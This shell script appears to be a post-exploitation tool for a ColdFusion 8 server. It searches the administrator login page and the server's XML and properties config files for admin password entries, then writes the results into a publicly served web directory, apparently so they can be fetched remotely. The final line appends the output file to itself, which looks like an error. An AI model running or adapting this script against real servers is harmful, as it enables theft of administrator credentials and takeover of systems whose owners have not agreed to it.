#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw2_out.txt
echo "=== enter.cfm password source ===" > $O
grep -iE 'password|adminpassword|config|cfusion|properties' /opt/coldfusion8/wwwroot/CFIDE/administrator/enter.cfm 2>/dev/null | head -20 >> $O
echo "=== /opt/coldfusion8 top ===" >> $O
ls -la /opt/coldfusion8/ 2>/dev/null | head -30 >> $O
echo "=== find admin pw configs under /opt/coldfusion8 ===" >> $O
find /opt/coldfusion8 -maxdepth 3 \( -name '*.xml' -o -name '*.properties' -o -name '*.conf' -o -name '*.ini' \) 2>/dev/null | grep -ivE 'cftags|flex|images|WEB-INF/cfform|wizards' | head -30 >> $O
echo "=== grep adminpassword in configs ===" >> $O
grep -rlI 'adminpassword\|adminPassword\|ADMIN_PASSWORD' /opt/coldfusion8 --include='*.xml' --include='*.properties' 2>/dev/null | head -20 >> $O
cat $O >> $O
